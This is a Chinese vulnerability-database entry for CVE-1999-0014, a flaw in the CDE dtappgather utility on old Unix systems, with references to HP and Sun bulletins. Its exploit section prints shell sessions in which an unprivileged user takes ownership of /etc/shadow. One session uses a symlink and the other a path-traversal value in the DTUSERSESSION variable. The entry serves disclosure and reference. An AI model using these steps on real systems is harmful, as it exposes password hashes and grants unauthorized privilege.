CDE dtappgather程序非法访问及服务拒绝漏洞

CDE dtappgather程序非法访问及服务拒绝漏洞

漏洞ID 1105592 漏洞类型 未知
发布时间 1999-11-03 更新时间 2005-05-02
图片[1]-CDE dtappgather程序非法访问及服务拒绝漏洞-安全小百科CVE编号 CVE-1999-0014
图片[2]-CDE dtappgather程序非法访问及服务拒绝漏洞-安全小百科CNNVD-ID CNNVD-199801-017
漏洞平台 Unix CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/19108
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199801-017
|漏洞详情
CDE中的dtappgather程序存在漏洞。导致非法的有特权的访问或者服务拒绝。
|漏洞EXP
source: http://www.securityfocus.com/bid/131/info

Due to improper checking of ownership, the dtappgather utility shipped with the Common Desktop Environment allows arbitrary users to overwrite any file present on the filesystem, regardless of the owner of the file. 

dtappgather uses a directory of permissions 0777 to create temporary files used by each login session. /var/dt/appconfig/appmanager/generic-display-0 is not checked for existence prior to the opening of the file by dtappgather, and as such, if a user were to create a symbolic link from this file to another on the filesystem, the permissions of this file would be changed to 0666.

An additional bug exists whereby dtappgather blindly uses the contents of the DTUSERSESSION environment variable. By setting this variable to point to a file on the filesystem, its permissions can also be changed. As this command takes place relative to the /var/dt/appconfig directory, a series of '..' are required to establish the root directory, after which any file can be altered.

% ls -l /etc/shadow
-r--r--r-- 1 root other 1500 Dec 29 18:21 /etc/shadow
% ln -s /etc/shadow /var/dt/appconfig/appmanager/generic-display-0
% dtappgather
MakeDirectory: /var/dt/appconfig/appmanager/generic-display-0: File exists
% ls -l /etc/shadow
-r-xr-xr-x 1 user users 1500 Dec 29 18:21 /etc/shadow
---------------------------------------------
$ id
uid=6969(foo) gid=666(bar)
$ ls -l /etc/shadow
-r-------- 1 root sys 234 Nov 7 1999 /etc/shadow
$ env DTUSERSESSION=../../../../../../../etc/shadow dtappgather
$ ls -l /etc/shadow
-r-xr-xr-x 1 foo bar 234 Nov 7 1999 /etc/shadow
|参考资料

来源:HP
名称:HPSBUX9801-075
链接:http://www1.itrc.hp.com/service/cki/docDisplay.do?docId=HPSBUX9801-075
来源:SUN
名称:00185
链接:http://sunsolve.sun.com/pub-cgi/retrieve.pl?doctype=coll&doc;=secbull/185

相关推荐: Snort Signature Mislabeling Weakness

Snort Signature Mislabeling Weakness 漏洞ID 1098920 漏洞类型 Failure to Handle Exceptional Conditions 发布时间 2004-02-17 更新时间 2004-02-17 CV…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享